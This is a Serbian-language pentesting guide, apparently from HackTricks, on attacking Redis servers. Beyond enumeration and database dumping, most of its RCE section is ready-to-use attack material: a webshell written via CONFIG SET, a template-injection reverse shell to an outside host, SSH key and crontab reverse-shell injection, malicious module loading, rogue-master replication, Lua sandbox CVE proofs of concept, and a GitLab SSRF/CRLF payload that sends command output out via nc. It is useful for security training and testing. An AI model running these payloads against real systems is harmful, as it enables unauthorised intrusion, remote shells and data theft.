6379 - Pentesting Redis

Reading time: 15 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

From the docs: Redis is an open source (BSD licensed), in-memory skladište struktura podataka, used as a baza podataka, keš i posrednik poruka).

Po defaultu Redis koristi tekstualni protokol, ali treba imati na umu da može takođe implementirati ssl/tls. Saznajte kako pokrenuti Redis sa ssl/tls ovde.

Podrazumevani port: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Automatska enumeracija

Neki automatizovani alati koji mogu pomoći da se dobiju informacije sa redis instance:

bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

Ručno otkrivanje

Baner

Redis je protokol zasnovan na tekstu, možete jednostavno poslati komandu preko soketa i vraćene vrednosti će biti čitljive. Takođe zapamtite da Redis može da radi koristeći ssl/tls (mada je to prilično čudno).

U standardnoj Redis instanci možete jednostavno da se povežete koristeći nc ili možete koristiti i redis-cli:

bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

Prva komanda koju možete pokušati je info. Ona možda vrati izlaz sa informacijama o Redis instanci ili nešto poput sledećeg:

-NOAUTH Authentication required.

U ovom poslednjem slučaju, to znači da trebate valid credentials da biste pristupili Redis instanci.

Redis autentifikacija

Po podrazumevanju Redis je dostupan bez credentials. Međutim, može biti konfigurisano da podržava samo password, ili username + password.
Moguće je postaviti password u fajlu redis.conf pomoću parametra requirepass ili privremeno dok se servis ne restartuje povezujući se na njega i izvršavajući: config set requirepass p@ss$12E45.
Takođe, username se može konfigurisati u parametru masteruser unutar fajla redis.conf.

tip

Ako je konfigurisan samo password, korišćen username je "default".
Takođe, imajte na umu da ne postoji način da se spolja utvrdi da li je Redis konfigurisan samo sa password ili sa username+password.

U slučajevima kao što je ovaj biće vam potrebno da nađete valid credentials da biste interagovali sa Redis-om, pa možete pokušati da ga brute-force.
U slučaju da ste pronašli valid credentials potrebno je da autentifikujete sesiju nakon uspostavljanja konekcije koristeći komandu:

bash
AUTH <username> <password>

Važeći pristupni podaci će dobiti odgovor: +OK

Enumeracija uz autentifikaciju

Ako Redis server dozvoljava anonimne konekcije ili ako ste pribavili važeće pristupne podatke, možete započeti proces enumeracije servisa koristeći sledeće komande:

bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

Ostale Redis komande mogu se naći ovde i ovde.

Imajte na umu da se Redis komande na instanci mogu preimenovati ili ukloniti u fajlu redis.conf. Na primer, ovaj red će ukloniti komandu FLUSHDB:

rename-command FLUSHDB ""

Više o bezbednoj konfiguraciji Redis servisa ovde: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

Takođe možete u realnom vremenu nadgledati Redis komande izvršene komandom monitor ili dobiti 25 najsporijih upita pomoću slowlog get 25

Više interesantnih informacija o Redis komandama pronađite ovde: https://lzone.de/cheat-sheet/Redis

Dumping Database

Unutar Redis-a baze podataka su numerisane počev od 0. Možete videti da li se neka koristi u izlazu komande info u delu "Keyspace":

Ili možete jednostavno dobiti sve keyspaces (baze podataka) pomoću:

INFO keyspace

U tom primeru su korišćeni database 0 i 1. Database 0 sadrži 4 keys, a database 1 sadrži 1. Po defaultu Redis koristi database 0. Da biste, na primer, dump-ovali database 1, treba da uradite:

bash
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

U slučaju da dobijete sledeću grešku -WRONGTYPE Operation against a key holding the wrong kind of value dok izvršavate GET <KEY>, to je zato što ključ može biti nešto drugo od stringa ili integera i zahteva poseban operator da bi se prikazao.

Da biste saznali tip ključa, koristite komandu TYPE, primer ispod za list i hash ključeve.

bash
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

Izdvojite bazu podataka pomoću npm redis-dump ili python redis-utils

Redis RCE

Interactive Shell

redis-rogue-server može automatski dobiti interactive shell ili reverse shell u Redis(<=5.0.5).

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

Info from here. Morate znati putanju direktorijuma web sajta:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

Ako pristup webshell-u baci izuzetak, možete isprazniti bazu podataka nakon bekapa i pokušati ponovo — ne zaboravite da vratite bazu podataka.

Šablon Webshell

Kao u prethodnom odeljku, možete takođe prepisati neki html template fajl koji će biti interpretiran od strane template engine-a i dobiti shell.

Na primer, prateći this writeup, možete videti da je napadač ubacio rev shell in an html interpretiran od strane nunjucks template engine:

javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

warning

Imajte na umu da neki template engine-i keširaju template-e u memoriji, tako da čak i ako ih prepišete, novi se neće izvršiti. U tim slučajevima, ili je developer ostavio automatsko ponovno učitavanje aktivnim ili morate izvršiti DoS nad servisom (i očekivati da će biti automatski ponovo pokrenut).

SSH

Example from here

Obratite pažnju da se rezultat config get dir može promeniti nakon drugih ručno izvršenih komandi za eksploataciju. Preporučuje se da ga pokrenete odmah nakon prijave u Redis. U izlazu config get dir možete pronaći home redis korisnika (obično /var/lib/redis ili /home/redis/.ssh), i znajući to znate gde možete upisati fajl authenticated_users da biste pristupili preko ssh kao korisnik redis. Ako znate home drugog validnog korisnika u kojem imate dozvole za pisanje, to takođe možete iskoristiti:

  1. Generišite ssh javno-privatni par ključeva na vašem računaru: ssh-keygen -t rsa
  2. Upisite javni ključ u fajl : (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
  3. Uvezite fajl u redis : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
  4. Sačuvajte javni ključ u fajl authorized_keys na redis serveru:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. Na kraju, možete se povezati preko ssh na redis server koristeći privatni ključ : ssh -i id_rsa redis@10.85.0.52

Ova tehnika je automatizovana ovde: https://github.com/Avinash-acid/Redis-Server-Exploit

Dodatno, sistemske korisnike možete otkriti proverom sa config set dir /home/USER, i nakon potvrde, novi authorized_keys može biti upisan u /home/USER/.ssh/authorized_keys. Koristite redis-rce-ssh da bruteforce-ujete ovo sa wordlistom korisničkih imena i prepišete authorized_keys.

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

The last example is for Ubuntu, for Centos, the above command should be: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

This method can also be used to earn bitcoin :yam

Učitavanje Redis modula

  1. Prateći instrukcije sa https://github.com/n0b0dyCN/RedisModules-ExecuteCommand možete kompajlirati Redis modul da izvršava proizvoljne komande.
  2. Zatim treba da nađete način da otpremite kompajlirani modul
  3. Učitajte otpremljeni modul za vreme izvršavanja pomoću MODULE LOAD /path/to/mymodule.so
  4. Prikažite listu učitanih modula da proverite da li je pravilno učitan: MODULE LIST
  5. Izvršavanje komandi:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. Uklonite modul kad god želite: MODULE UNLOAD mymodule

Zaobilaženje LUA sandboxa

Here you can see that Redis uses the command EVAL to execute Lua code sandboxed. U povezanom postu možete videti kako to zloupotrebiti koristeći funkciju dofile, ali apparently ovo više nije moguće. U svakom slučaju, ako možete zaobići Lua sandbox mogli biste izvršavati proizvoljne komande na sistemu. Takođe, iz istog posta možete videti neke opcije za izazivanje DoS.

Neki CVE-ovi koji omogućavaju bekstvo iz LUA:

Redis Lua Scripting Engine: Sandbox Escapes & Memory Corruption (CVE-2025-49844/46817/46818)

Recent Redis releases fixed multiple issues in the embedded Lua engine that allow sandbox escape, memory corruption and cross-user code execution. These techniques apply when:

  • Napadač može da se autentifikuje na Redis i Lua je omogućena (EVAL/EVALSHA or FUNCTION su dostupni)
  • Redis verzija je starija od 8.2.2, 8.0.4, 7.4.6, 7.2.11, or 6.2.20

Tip: Ako ste novi u trikovima za Lua sandboxing, pogledajte ovu stranicu za opšte tehnike:

Lua Sandbox Escape

Kontekst zakrpe:

  • Fixed in: 8.2.2, 8.0.4, 7.4.6, 7.2.11, 6.2.20
  • Affected when Lua scripting is enabled and the above versions are not applied

CVE-2025-49844 — GC-timed Use-After-Free in Lua parser (lparser.c: luaY_parser)

  • Idea: Naterajte garbage collection dok parser i dalje referencira tek ubačen TString. Kada GC oslobodi taj objekat, parser koristi oslobođeni pokazivač (UAF) → crash/DoS i potencijalno izvršavanje nativnog koda izvan Lua sandboksa.
  • Strategija okidanja:
  1. Kreirajte pritisak na memoriju velikim stringovima da podstaknete GC aktivnost
  2. Explicitno pokrenite GC dok se veliki izvorni blok kompajlira
  3. Kompajlirajte veoma veliki Lua skript u petlji dok se GC ne uskladi sa parsiranjem

Minimalni EVAL harness za reprodukciju padova

bash
# Auth as needed (-a/--user), then run EVAL with 0 keys
redis-cli -h <host> -p 6379 -a <password> EVAL "\
local a = string.rep('asdf', 65536); \
collectgarbage('collect'); \
local src = string.rep('x', 1024 * 1024); \
local f = loadstring(src); \
return 'done'" 0

Beleške:

  • Možda će biti potrebno više pokušaja da se uskladi GC sa luaY_parser. Crash ukazuje da je UAF pogođen.
  • Od exploitation do RCE zahteva memory grooming i native code pivoting izvan Redis Lua sandboxa.

CVE-2025-46817 — Prelivanje celobrojne vrednosti u unpack (lbaselib.c: luaB_unpack)

  • Osnovni uzrok: Veličina n = e - i + 1 se računa bez cast-ovanja u unsigned, pa ekstremni indeksi wrap-uju, navodeći Lua da pokuša da unpack-uje znatno više elemenata nego što postoji → korupcija stack-a i iscrpljivanje memorije.
  • PoC (DoS/mem exhaustion):
bash
redis-cli -h <host> -p 6379 -a <password> EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0
  • Očekujte da će server pokušati da vrati ogroman broj vrednosti i na kraju se srušiti ili doći do OOM.

CVE-2025-46818 — Povišavanje privilegija između korisnika putem metatabela osnovnih tipova

  • Osnovni uzrok: Prilikom inicijalizacije engine-a, metatabele osnovnih tipova (npr. stringova, boolean vrednosti) nisu bile postavljene kao samo za čitanje. Bilo koji autentifikovani korisnik može ih zatrovati da ubaci metode koje bi drugi korisnici mogli pozvati kasnije.
  • Primer (zatrovanje metatabele stringa):
bash
# Inject a method on strings and then exercise it
redis-cli -h <host> -p 6379 -a <password> EVAL "\
getmetatable('').__index = function(_, key) \
if key == 'testfunc' then \
return function() return 'testfuncoutput' end \
end \
end; \
return ('teststring').testfunc()" 0
# → Returns: testfuncoutput
  • Uticaj: Izvršavanje koda između korisnika unutar Lua sandbox-a koristeći Redis dozvole žrtve. Koristan za lateral movement/priv-esc unutar Redis ACL konteksta.

Master-Slave modul

Sve operacije na master Redis-u se automatski sinhronizuju na slave Redis, što znači da možemo smatrati ranjivi Redis kao slave Redis povezan sa master Redis-om koji mi kontrolišemo; tada možemo uneti komande u naš Redis.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF koji komunicira sa Redis

Ako možete poslati zahtev u čistom tekstu to Redis, možete komunicirati sa njim jer će Redis čitati zahtev liniju po liniju i jednostavno odgovarati greškama na linije koje ne razume:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

Dakle, ako pronađete SSRF vuln na web sajtu i možete da kontrolišete neke headers (možda pomoću CRLF vuln) ili POST parameters, moći ćete da pošaljete proizvoljne komande ka Redis-u.

Primer: Gitlab SSRF + CRLF to Shell

U Gitlab11.4.7 su otkrivene SSRF vulnerability i CRLF. SSRF vulnerability je bila u import project from URL functionality prilikom kreiranja novog projekta i dozvoljavala je pristup proizvoljnim IP-ovima u obliku [0:0:0:0:0:ffff:127.0.0.1] (ovo će pristupiti 127.0.0.1), a CRLF vuln je iskorišćen jednostavnim dodavanjem %0D%0A karaktera u URL.

Zbog toga je bilo moguće abuse these vulnerabilities to talk to the Redis instance koja manages queues iz gitlab i iskoristiti te queues da obtain code execution. Payload za Redis queue abuse je:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

A URL encode zahtev abusing SSRF i CRLF da izvrši whoami i pošalje izlaz nazad putem nc je:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Iz nekog razloga (kao i kod autora https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ odakle je ova informacija preuzeta) eksploatacija je funkcionisala sa git šemom, a ne sa http šemom.

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks